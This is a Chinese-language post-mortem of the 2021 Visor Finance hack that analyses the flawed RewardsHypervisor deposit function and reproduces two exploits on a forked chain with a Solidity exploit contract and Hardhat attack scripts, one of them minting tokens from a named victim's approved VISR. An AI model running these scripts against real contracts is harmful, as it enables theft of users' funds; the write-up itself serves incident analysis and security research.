Visor.finance re-hack
Visor.finance re-hack
分析了一下漏洞,问题又是由任意外部调用引起,为什么说又呢,因为前几天被黑的Grim.finance也是由这类问题引起,攻击者获利133多个eth,折合现价(2021.12.22)约为50多万美金
 

0x1 攻击分析

notion image
可以看到从0地址两次转出来了大量vVISR代币,没猜错的话应该是mint出来的,从etherscan上其实看不出什么,直接丢blocksec的交易分析工具去分析(https://versatile.blocksecteam.com/tx/eth/0x69272d8c84d67d1da2f6425b339192fa472898dce936f24818fda415c1c1ff3f)
 
使用Customize account map简单labelling一下,看起来就明朗多了
{
    "0x0000000000000000000000000000000000000000": "0x0000...0000",
    "0xf938424f7210f31df2aee3011291b658f872e91e": "Visor Finance: VISR Token",
    "0x8efab89b497b887cdaa2fb08ff71e4b3827774b2": "Visor Finance Exploiter",
    "0xc9f27a50f82571c1c8423a42970613b8dbda14ef": "Visor Finance RewardsHypervisor",
    "0x10c509aa9ab291c76c45414e7cdbd375e1d5ace8": "Exploit contract"
}
notion image
可以看到攻击合约(Exploit contract)的0x4a0b0c38函数内调用了Visor.Finance的RewardsHypervisor合约,call的是deposit函数,把攻击合约的地址攻击者自己的地址传参进去了,后面居然又回调了到攻击合约的ownerdelegatedTransferERC20函数,在delegatedTransferERC20函数里还玩了一手重入...这么一看,很明显deposit函数内存在任意的外部调用。
 

0x2 漏洞分析

notion image
这段代码的业务逻辑是:充值一定数量的visr,就会mint出一定数量的vvsir给用户。怎么说呢,看到这种代码只能感叹到现在才出事真的是幸运,短短20多行代码,竟同时存在卧龙凤雏(有两个漏洞)。。。
定位到56-61行,存在的问题有:
  1. 判断是from是否为合约,如果是,则检查msg.sender是不是合约owner,然后调用fromdelegatedTransferERC20函数,但是from没有做限定,可以是任何合约,所以攻击合约只需要定义一个delegatedTransferERC20函数,什么都不做,就可以绕过充值直接mint
  1. 如果from不是合约,就调用visr.safeTransferFrom函数,但是由于传入的from参数和to参数可控,意味着可以用别人授权给RewardsHypervisor合约的visr充值进去,再mint vvisr给自己。
 
有了vvisr后可以调用withdraw函数换成visr,拿到市场上去卖,完成变现。
notion image
 
 

0x3 Re-hack

我这里用hardhat进行攻击复现,首先找到要fork的区块,攻击发生在13849007,那么就fork到它上一个区块13849006
然后编写利用合约(Exploit.sol):
contract Exploit {
    function owner() view public returns(address){
        return tx.origin;
    }

    function delegatedTransferERC20( address token, address to, uint256 amount) external {
        return;
    }
}
利用合约出奇的简单,只需要定义owner函数和delegatedTransferERC20函数,什么都不用做,或者像攻击者那样玩一手重入,这样就可以一次攻击mint多次vvisr,不过做复现测试就没这个必要了。然后写利用脚本(attack.js):
const Attacker = await hre.ethers.getSigner();
const Exploit = await hre.ethers.getContractFactory("Exploit");
const exploit = await Exploit.deploy();
await exploit.deployed();

console.log("Exploit contract deployed to:", exploit.address);

const RewardsHypervisor = await hre.ethers.getContractAt('IRewardsHypervisor', "0xc9f27a50f82571c1c8423a42970613b8dbda14ef")
const depositTx = await RewardsHypervisor.deposit("100000000000000000000000000",exploit.address,Attacker.getAddress());
console.log("Exploiting... transcation:", depositTx.hash);
await depositTx.wait();
console.log("exploit complete");

const vVISR = await hre.ethers.getContractAt("IvVISR","0x3a84ad5d16adbe566baa6b3dafe39db3d5e261e5");
const balance = (await vVISR.balanceOf(Attacker.address))/(10**(await vVISR.decimals()))
console.log("Attacker vVISR balance:"+balance);
核心点在调用RewardsHypervisor合约的deposit函数时,from参数设置为利用合约的地址,运行一下看。
notion image
复现完成。
 
顺便也复现一下我这里发现的第二个漏洞,看是否真的可行。首先要找一个给RewardsHypervisor合约授权过visr的EOA地址,我这里找到了这个地址:0x7D2eCc357cc50A0c2c59A2D1d1587Ea27e096A05
 
但是他账户里的visr已经用完了,我这里退回到他没用的时候的区块13841698,然后再进行实验,直接编写利用脚本(attack2.js):
hre.network.config.forking.blockNumber=13841698;

const Attacker = await hre.ethers.getSigner();

const RewardsHypervisor = await hre.ethers.getContractAt('IRewardsHypervisor', "0xc9f27a50f82571c1c8423a42970613b8dbda14ef")
const depositTx = await RewardsHypervisor.deposit("1190000000000000000000","0x7D2eCc357cc50A0c2c59A2D1d1587Ea27e096A05",Attacker.getAddress());
console.log("Exploiting... transcation:", depositTx.hash);
await depositTx.wait();
console.log("exploit complete");

const vVISR = await hre.ethers.getContractAt("IvVISR","0x3a84ad5d16adbe566baa6b3dafe39db3d5e261e5");
const balance = (await vVISR.balanceOf(Attacker.address))/(10**(await vVISR.decimals()))
console.log("Attacker vVISR balance:"+balance);
核心点在调用RewardsHypervisor合约的deposit函数时,from参数设置为受害者的地址,运行一下看。
notion image
复现完成,可以看到确实能窃取别人的visrmint vvisr给自己。